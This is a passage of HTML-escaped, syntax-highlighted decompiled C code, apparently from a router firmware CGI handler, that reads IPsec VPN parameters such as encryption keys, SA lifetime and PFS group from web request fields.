    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;manual_ipsec_enc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;manual_ipsec_enc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ipsec_enc_keyin&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_cgi_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ipsec_enc_keyin&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ipsec_enc_keyin&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_cgi_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ipsec_enc_keyin&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_enc_keyin&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ipsec_enc_keyin&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ipsec_enc_keyout&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_cgi_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ipsec_enc_keyout&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ipsec_enc_keyout&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_cgi_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ipsec_enc_keyout&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_enc_keyout&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ipsec_enc_keyout&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;manual_ipsec_int&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_cgi_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;manual_ipsec_int&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;manual_ipsec_int&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_cgi_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;manual_ipsec_int&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;manual_ipsec_int&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;manual_ipsec_int&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ipsec_int_keyin&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_cgi_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ipsec_int_keyin&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ipsec_int_keyin&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_cgi_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ipsec_int_keyin&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_int_keyin&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ipsec_int_keyin&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ipsec_key_keyout&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_cgi_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ipsec_int_keyout&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ipsec_key_keyout&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_cgi_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ipsec_int_keyout&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_key_keyout&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ipsec_key_keyout&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ipsec_sa_lifetime&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_cgi_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ipsec_sa_lifetime&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ipsec_sa_lifetime&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_cgi_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ipsec_sa_lifetime&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_sa_lifetime&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ipsec_sa_lifetime&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;auto_ipsec_enc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_cgi_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;auto_ipsec_enc&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;auto_ipsec_enc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_cgi_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;auto_ipsec_enc&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;auto_ipsec_enc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;auto_ipsec_enc&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;auto_ipsec_int&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_cgi_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;auto_ipsec_int&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;auto_ipsec_int&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_cgi_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;auto_ipsec_int&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;auto_ipsec_int&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;auto_ipsec_int&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ipsec_pfs_enable&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_cgi_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ipsec_pfs_enable&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ipsec_pfs_enable&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_cgi_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ipsec_pfs_enable&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_pfs_enable&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ipsec_pfs_enable&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;dis&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ipsec_pfs_group&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_cgi_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ipsec_pfs_group&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ipsec_pfs_group&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_cgi_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ipsec_pfs_group&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_pfs_group&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ipsec_pfs_group&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;ipsec_ike_policy_name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_cgi_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ipsec_ike_policy_name&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ipsec_ike_policy_name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ipsec_ike_policy_name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;exc_stflg&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get_cgi_param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x8fe2c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
